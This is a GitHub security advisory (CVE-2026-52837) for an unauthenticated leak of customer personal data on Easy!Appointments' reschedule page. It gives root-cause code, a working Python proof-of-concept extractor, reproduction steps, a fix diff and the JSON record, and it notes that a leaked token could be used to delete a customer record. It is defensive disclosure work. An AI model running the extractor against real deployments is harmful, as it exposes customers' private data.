GHSA-XGR6-PQJV-3PF8
Vulnerability from github – Published: 2026-07-29 16:28 – Updated: 2026-07-29 16:28Summary
The booking reschedule view at /index.php/booking/reschedule/{appointment_hash} (handled by Booking::index()) embeds the entire customer record as inline JavaScript (const vars = {... "customer_data": {...}, ...}) without authentication and without field whitelisting. Anyone in possession of the 12-character appointment_hash — which appears in plain text in reschedule emails, confirmation page URLs, and operator-side calendar links — can read every column of that customer's row in the ea_users table.
Verified against v1.5.2 with a Docker reproduction; a single anonymous GET to the reschedule URL returns 13 customer fields including email, phone, full address, custom fields, timezone, language, LDAP DN, and id_roles.
Details
Root cause
application/controllers/Booking.php at line 184 reads the hash from the request, fetches the appointment, then loads the customer with Customers_model::find() — which returns the full row, no projection. It then passes the full record into script_vars(), which inlines it into the response HTML as a JavaScript constant. The reschedule UI itself uses only first_name and last_name; everything else is exposed for no functional reason.
// application/controllers/Booking.php (v1.5.2)
$appointment_hash = html_vars('appointment_hash'); // line 184
if (!empty($appointment_hash)) {
$manage_mode = true;
$results = $this->appointments_model->get(['hash' => $appointment_hash]);
// ...
$appointment = $results[0];
$provider = $this->providers_model->find($appointment['id_users_provider']);
$customer = $this->customers_model->find($appointment['id_users_customer']); // ← full row, no projection
$customer_token = md5(uniqid(mt_rand(), true));
$this->cache->save('customer-token-' . $customer_token, $customer['id'], 600);
}
script_vars([
// ...
'customer_data' => $customer, // ← all PII inlined in HTML
'customer_token' => $customer_token,
]);
The URL pattern is in the CSRF exemption list (application/config/config.php, csrf_exclude_uris covers booking/.*) and no authentication middleware applies, by design — that's the intended customer-facing reschedule flow. The bug is the over-disclosure, not the lack of auth.
Source-to-Sink
- Source: HTTP GET to
/index.php/booking/reschedule/{appointment_hash}— unauthenticated; hash read viahtml_vars('appointment_hash')(Booking.php:184). - Intermediate:
appointments_model->get(['hash' => $hash])→ row fetched;customers_model->find($appointment['id_users_customer'])returns the full customers row. - Sink:
script_vars(['customer_data' => $customer, ...])(Booking.php:254-270) emits inlineconst vars = {..., "customer_data": {...}, ...}JavaScript in the response HTML.
Fields disclosed
Confirmed in PoC output (canary values used as markers):
customer_data: {
"id": 4,
"first_name": "Victim",
"last_name": "Tester",
"email": "victim.disclosure@example.invalid",
"phone_number": "+1-555-0100",
"address": "100 Privacy Lane",
"city": "Sensitiveville",
"zip_code": "00001",
"timezone": "UTC",
"language": "english",
"custom_field_1": "CFLD1-CANARY",
"is_private": "0",
"ldap_dn": null,
"id_roles": 3
}
Fields that would also leak when populated: mobile_number, state, notes (free-form, operators often store sensitive context here), custom_field_2–custom_field_5, ldap_dn.
Proof of Concept
#!/usr/bin/env python3
# poc_001_easyapp_pii_disclosure.py — exploit mode (extract from attached PoC)
import argparse, json, re, sys, requests
PII_FIELDS = ["email","phone_number","mobile_number","address","city","state",
"zip_code","notes","custom_field_1","custom_field_2","custom_field_3",
"custom_field_4","custom_field_5","ldap_dn"]
def exploit(target, hash_):
url = f"{target}/index.php/booking/reschedule/{hash_}"
r = requests.get(url, timeout=15); r.raise_for_status()
m = re.search(r"const\s+vars\s*=\s*(\{.*?\});", r.text, re.DOTALL)
ea = json.loads(m.group(1))
customer = ea.get("customer_data") or {}
leaked = 0
for f in PII_FIELDS:
if customer.get(f) not in (None, "", 0):
print(f" {f:18s} = {customer[f]!r}"); leaked += 1
print(f"[+] disclosed {leaked} PII fields without auth")
return leaked
if __name__ == "__main__":
p = argparse.ArgumentParser()
p.add_argument("--target", default="http://localhost:8000")
p.add_argument("--hash", required=True)
a = p.parse_args()
sys.exit(0 if exploit(a.target, a.hash) > 0 else 1)
Reproduction
- Bring up the lab from the project's official
docker-compose.yml(pinned to v1.5.2). Complete the one-time install at/index.php/installation(orphp index.php console installfrom the php-fpm container). - Book one appointment through the public flow (the bundled
--seedhelper does this automatically and prints the resulting hash). - Run the unauthenticated extractor:
python3 poc_001_easyapp_pii_disclosure.py --target http://localhost:8000 --hash <HASH> - Observed output (verified 5/5 consecutive runs):
email = 'victim.disclosure@example.invalid' phone_number = '+1-555-0100' address = '100 Privacy Lane' city = 'Sensitiveville' zip_code = '00001' custom_field_1 = 'CFLD1-CANARY' [+] DISCLOSURE CONFIRMED -- 6 PII field(s) accessible without auth.
The PoC and its docker-compose reproduction environment are attached.
Impact
A single anonymous GET request returns the customer's full record. The appointment_hash is not a secret to the customer — it appears in every reschedule email, every confirmation page URL, and the operator-side calendar reschedule link. So it leaks through the usual side channels: email forwarding, shared inboxes, mail-server logs, browser history, HTTP Referer headers when the customer clicks an outbound link from the reschedule page.
For a typical Easy!Appointments deployment (medical clinics, salons, legal/tutoring consultancies, hairdressers) the disclosed fields include regulated personal information — GDPR Article 5(1)(f) / Article 32 confidentiality, HIPAA contact-data exposure, and equivalent regional regimes. The free-form notes and the five configurable custom fields are frequently used by operators to store sensitive supplementary data (health context, insurance number, allergies, DOB, government ID).
A secondary chain worth flagging: the same response emits customer_token, a 600-second cache key bound to the customer ID. If display_delete_personal_information is enabled, an attacker holding the hash can also trigger a customer-record deletion at /privacy/delete_personal_information using the disclosed token — escalating an information-disclosure issue into a destructive one. Treating that as a secondary concern, out of scope for this report.
Workarounds
Operators can mitigate temporarily by:
1. Disabling the reschedule link in confirmation emails (in Booking_settings/Email_settings templates), forcing customers to re-book instead.
2. Disabling the public booking page entirely (disable_booking setting) for deployments that can tolerate it.
Neither workaround removes the root cause; an attacker who already holds a hash can still extract.
Suggested fix
Whitelist customer fields before inlining. The reschedule UI only needs first/last name:
--- a/application/controllers/Booking.php
+++ b/application/controllers/Booking.php
@@ -239,7 +239,12 @@ class Booking extends EA_Controller
$appointment = $results[0];
$provider = $this->providers_model->find($appointment['id_users_provider']);
- $customer = $this->customers_model->find($appointment['id_users_customer']);
+ $customer_record = $this->customers_model->find($appointment['id_users_customer']);
+ $customer = [
+ 'id' => $customer_record['id'],
+ 'first_name' => $customer_record['first_name'],
+ 'last_name' => $customer_record['last_name'],
+ ];
$customer_token = md5(uniqid(mt_rand(), true));
The same pattern likely needs auditing in Booking_confirmation::of() and Booking_cancellation::of() — anywhere the customer record is loaded and inlined into a publicly-reachable view.
Credits
- Discovered through source-code audit by peoplstar
References
application/controllers/Booking.phplines 184-270 (v1.5.2)application/models/Customers_model.php::find— returns the full row, no projectionapplication/config/config.phpcsrf_exclude_uris— whitelistingbooking/.*- Related prior PR #1753 (permission checks on appointment search) — same project, adjacent code, vendor previously accepted this class of issue.
docker-compose.yml easyapp_pii_disclosure.py requirements.txt consistency_test.txt leaked_customer_data.txt
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "alextselegidis/easyappointments"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.5.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-52837"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-639"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-29T16:28:23Z",
"nvd_published_at": "2026-07-14T15:17:04Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nThe booking reschedule view at `/index.php/booking/reschedule/{appointment_hash}` (handled by `Booking::index()`) embeds the **entire customer record** as inline JavaScript (`const vars = {... \"customer_data\": {...}, ...}`) without authentication and without field whitelisting. Anyone in possession of the 12-character `appointment_hash` \u2014 which appears in plain text in reschedule emails, confirmation page URLs, and operator-side calendar links \u2014 can read every column of that customer\u0027s row in the `ea_users` table.\n\nVerified against v1.5.2 with a Docker reproduction; a single anonymous GET to the reschedule URL returns 13 customer fields including email, phone, full address, custom fields, timezone, language, LDAP DN, and `id_roles`.\n\n## Details\n\n### Root cause\n\n`application/controllers/Booking.php` at line 184 reads the hash from the request, fetches the appointment, then loads the customer with `Customers_model::find()` \u2014 which returns the full row, no projection. It then passes the full record into `script_vars()`, which inlines it into the response HTML as a JavaScript constant. The reschedule UI itself uses only `first_name` and `last_name`; everything else is exposed for no functional reason.\n\n```php\n// application/controllers/Booking.php (v1.5.2)\n$appointment_hash = html_vars(\u0027appointment_hash\u0027); // line 184\nif (!empty($appointment_hash)) {\n $manage_mode = true;\n $results = $this-\u003eappointments_model-\u003eget([\u0027hash\u0027 =\u003e $appointment_hash]);\n // ...\n $appointment = $results[0];\n $provider = $this-\u003eproviders_model-\u003efind($appointment[\u0027id_users_provider\u0027]);\n $customer = $this-\u003ecustomers_model-\u003efind($appointment[\u0027id_users_customer\u0027]); // \u2190 full row, no projection\n $customer_token = md5(uniqid(mt_rand(), true));\n $this-\u003ecache-\u003esave(\u0027customer-token-\u0027 . $customer_token, $customer[\u0027id\u0027], 600);\n}\n\nscript_vars([\n // ...\n \u0027customer_data\u0027 =\u003e $customer, // \u2190 all PII inlined in HTML\n \u0027customer_token\u0027 =\u003e $customer_token,\n]);\n```\n\nThe URL pattern is in the CSRF exemption list (`application/config/config.php`, `csrf_exclude_uris` covers `booking/.*`) and no authentication middleware applies, by design \u2014 that\u0027s the intended customer-facing reschedule flow. The bug is the over-disclosure, not the lack of auth.\n\n### Source-to-Sink\n\n- **Source**: HTTP GET to `/index.php/booking/reschedule/{appointment_hash}` \u2014 unauthenticated; hash read via `html_vars(\u0027appointment_hash\u0027)` (Booking.php:184).\n- **Intermediate**: `appointments_model-\u003eget([\u0027hash\u0027 =\u003e $hash])` \u2192 row fetched; `customers_model-\u003efind($appointment[\u0027id_users_customer\u0027])` returns the full customers row.\n- **Sink**: `script_vars([\u0027customer_data\u0027 =\u003e $customer, ...])` (Booking.php:254-270) emits inline `const vars = {..., \"customer_data\": {...}, ...}` JavaScript in the response HTML.\n\n### Fields disclosed\n\nConfirmed in PoC output (canary values used as markers):\n\n```\ncustomer_data: {\n \"id\": 4,\n \"first_name\": \"Victim\",\n \"last_name\": \"Tester\",\n \"email\": \"victim.disclosure@example.invalid\",\n \"phone_number\": \"+1-555-0100\",\n \"address\": \"100 Privacy Lane\",\n \"city\": \"Sensitiveville\",\n \"zip_code\": \"00001\",\n \"timezone\": \"UTC\",\n \"language\": \"english\",\n \"custom_field_1\": \"CFLD1-CANARY\",\n \"is_private\": \"0\",\n \"ldap_dn\": null,\n \"id_roles\": 3\n}\n```\n\nFields that would also leak when populated: `mobile_number`, `state`, `notes` (free-form, operators often store sensitive context here), `custom_field_2`\u2013`custom_field_5`, `ldap_dn`.\n\n## Proof of Concept\n\n```python\n#!/usr/bin/env python3\n# poc_001_easyapp_pii_disclosure.py \u2014 exploit mode (extract from attached PoC)\nimport argparse, json, re, sys, requests\n\nPII_FIELDS = [\"email\",\"phone_number\",\"mobile_number\",\"address\",\"city\",\"state\",\n \"zip_code\",\"notes\",\"custom_field_1\",\"custom_field_2\",\"custom_field_3\",\n \"custom_field_4\",\"custom_field_5\",\"ldap_dn\"]\n\ndef exploit(target, hash_):\n url = f\"{target}/index.php/booking/reschedule/{hash_}\"\n r = requests.get(url, timeout=15); r.raise_for_status()\n m = re.search(r\"const\\s+vars\\s*=\\s*(\\{.*?\\});\", r.text, re.DOTALL)\n ea = json.loads(m.group(1))\n customer = ea.get(\"customer_data\") or {}\n leaked = 0\n for f in PII_FIELDS:\n if customer.get(f) not in (None, \"\", 0):\n print(f\" {f:18s} = {customer[f]!r}\"); leaked += 1\n print(f\"[+] disclosed {leaked} PII fields without auth\")\n return leaked\n\nif __name__ == \"__main__\":\n p = argparse.ArgumentParser()\n p.add_argument(\"--target\", default=\"http://localhost:8000\")\n p.add_argument(\"--hash\", required=True)\n a = p.parse_args()\n sys.exit(0 if exploit(a.target, a.hash) \u003e 0 else 1)\n```\n\n### Reproduction\n\n1. Bring up the lab from the project\u0027s official `docker-compose.yml` (pinned to v1.5.2). Complete the one-time install at `/index.php/installation` (or `php index.php console install` from the php-fpm container).\n2. Book one appointment through the public flow (the bundled `--seed` helper does this automatically and prints the resulting hash).\n3. Run the unauthenticated extractor:\n ```\n python3 poc_001_easyapp_pii_disclosure.py --target http://localhost:8000 --hash \u003cHASH\u003e\n ```\n4. Observed output (verified 5/5 consecutive runs):\n ```\n email = \u0027victim.disclosure@example.invalid\u0027\n phone_number = \u0027+1-555-0100\u0027\n address = \u0027100 Privacy Lane\u0027\n city = \u0027Sensitiveville\u0027\n zip_code = \u002700001\u0027\n custom_field_1 = \u0027CFLD1-CANARY\u0027\n [+] DISCLOSURE CONFIRMED -- 6 PII field(s) accessible without auth.\n ```\n\nThe PoC and its docker-compose reproduction environment are attached.\n\n## Impact\n\nA single anonymous GET request returns the customer\u0027s full record. The `appointment_hash` is not a secret to the customer \u2014 it appears in every reschedule email, every confirmation page URL, and the operator-side calendar reschedule link. So it leaks through the usual side channels: email forwarding, shared inboxes, mail-server logs, browser history, HTTP `Referer` headers when the customer clicks an outbound link from the reschedule page.\n\nFor a typical Easy!Appointments deployment (medical clinics, salons, legal/tutoring consultancies, hairdressers) the disclosed fields include regulated personal information \u2014 GDPR Article 5(1)(f) / Article 32 confidentiality, HIPAA contact-data exposure, and equivalent regional regimes. The free-form `notes` and the five configurable custom fields are frequently used by operators to store sensitive supplementary data (health context, insurance number, allergies, DOB, government ID).\n\nA secondary chain worth flagging: the same response emits `customer_token`, a 600-second cache key bound to the customer ID. If `display_delete_personal_information` is enabled, an attacker holding the hash can also trigger a customer-record deletion at `/privacy/delete_personal_information` using the disclosed token \u2014 escalating an information-disclosure issue into a destructive one. Treating that as a secondary concern, out of scope for this report.\n\n## Workarounds\n\nOperators can mitigate temporarily by:\n1. Disabling the reschedule link in confirmation emails (in `Booking_settings`/`Email_settings` templates), forcing customers to re-book instead.\n2. Disabling the public booking page entirely (`disable_booking` setting) for deployments that can tolerate it.\n\nNeither workaround removes the root cause; an attacker who already holds a hash can still extract.\n\n## Suggested fix\n\nWhitelist customer fields before inlining. The reschedule UI only needs first/last name:\n\n```diff\n--- a/application/controllers/Booking.php\n+++ b/application/controllers/Booking.php\n@@ -239,7 +239,12 @@ class Booking extends EA_Controller\n $appointment = $results[0];\n $provider = $this-\u003eproviders_model-\u003efind($appointment[\u0027id_users_provider\u0027]);\n- $customer = $this-\u003ecustomers_model-\u003efind($appointment[\u0027id_users_customer\u0027]);\n+ $customer_record = $this-\u003ecustomers_model-\u003efind($appointment[\u0027id_users_customer\u0027]);\n+ $customer = [\n+ \u0027id\u0027 =\u003e $customer_record[\u0027id\u0027],\n+ \u0027first_name\u0027 =\u003e $customer_record[\u0027first_name\u0027],\n+ \u0027last_name\u0027 =\u003e $customer_record[\u0027last_name\u0027],\n+ ];\n $customer_token = md5(uniqid(mt_rand(), true));\n```\n\nThe same pattern likely needs auditing in `Booking_confirmation::of()` and `Booking_cancellation::of()` \u2014 anywhere the customer record is loaded and inlined into a publicly-reachable view.\n\n## Credits\n\n- Discovered through source-code audit by peoplstar\n\n## References\n\n- `application/controllers/Booking.php` lines 184-270 (v1.5.2)\n- `application/models/Customers_model.php::find` \u2014 returns the full row, no projection\n- `application/config/config.php` `csrf_exclude_uris` \u2014 whitelisting `booking/.*`\n- Related prior PR #1753 (permission checks on appointment search) \u2014 same project, adjacent code, vendor previously accepted this class of issue.\n\n\n\n[docker-compose.yml](https://github.com/user-attachments/files/27761710/docker-compose.yml)\n[easyapp_pii_disclosure.py](https://github.com/user-attachments/files/27761711/easyapp_pii_disclosure.py)\n[requirements.txt](https://github.com/user-attachments/files/27761712/requirements.txt)\n[consistency_test.txt](https://github.com/user-attachments/files/27761722/consistency_test.txt)\n[leaked_customer_data.txt](https://github.com/user-attachments/files/27761723/leaked_customer_data.txt)",
"id": "GHSA-xgr6-pqjv-3pf8",
"modified": "2026-07-29T16:28:23Z",
"published": "2026-07-29T16:28:23Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/alextselegidis/easyappointments/security/advisories/GHSA-xgr6-pqjv-3pf8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-52837"
},
{
"type": "WEB",
"url": "https://github.com/alextselegidis/easyappointments/commit/40bb0b31b531540bc9006efce4220eb0a437ed2b"
},
{
"type": "PACKAGE",
"url": "https://github.com/alextselegidis/easyappointments"
},
{
"type": "WEB",
"url": "https://github.com/alextselegidis/easyappointments/releases/tag/1.6.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Easy!Appointments has unauthenticated customer PII disclosure on booking reschedule page"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.